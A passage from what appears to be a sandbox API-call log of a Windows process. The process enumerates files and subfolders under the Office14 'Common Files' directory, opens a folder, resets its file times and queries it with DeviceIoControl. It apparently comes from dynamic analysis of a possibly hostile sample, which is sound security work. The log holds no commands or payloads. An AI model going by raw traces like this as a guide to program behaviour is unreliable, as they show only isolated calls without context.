ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0048.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e66e0 [0048.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0048.955] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0048.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.956] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0048.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.956] NtClose (Handle=0x168) returned 0x0 [0048.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e66e0) returned 1 [0048.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0048.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e66e0 [0048.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e6d10 [0048.956] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0048.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.969] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0048.969] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="")) returned 1 [0048.969] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="")) returned 1 [0048.969] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="")) returned 1 [0048.969] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="")) returned 1 [0048.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="")) returned 1 [0048.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0048.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="")) returned 1 [0048.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="")) returned 1 [0048.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e6c08 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5918 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e6f20 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, 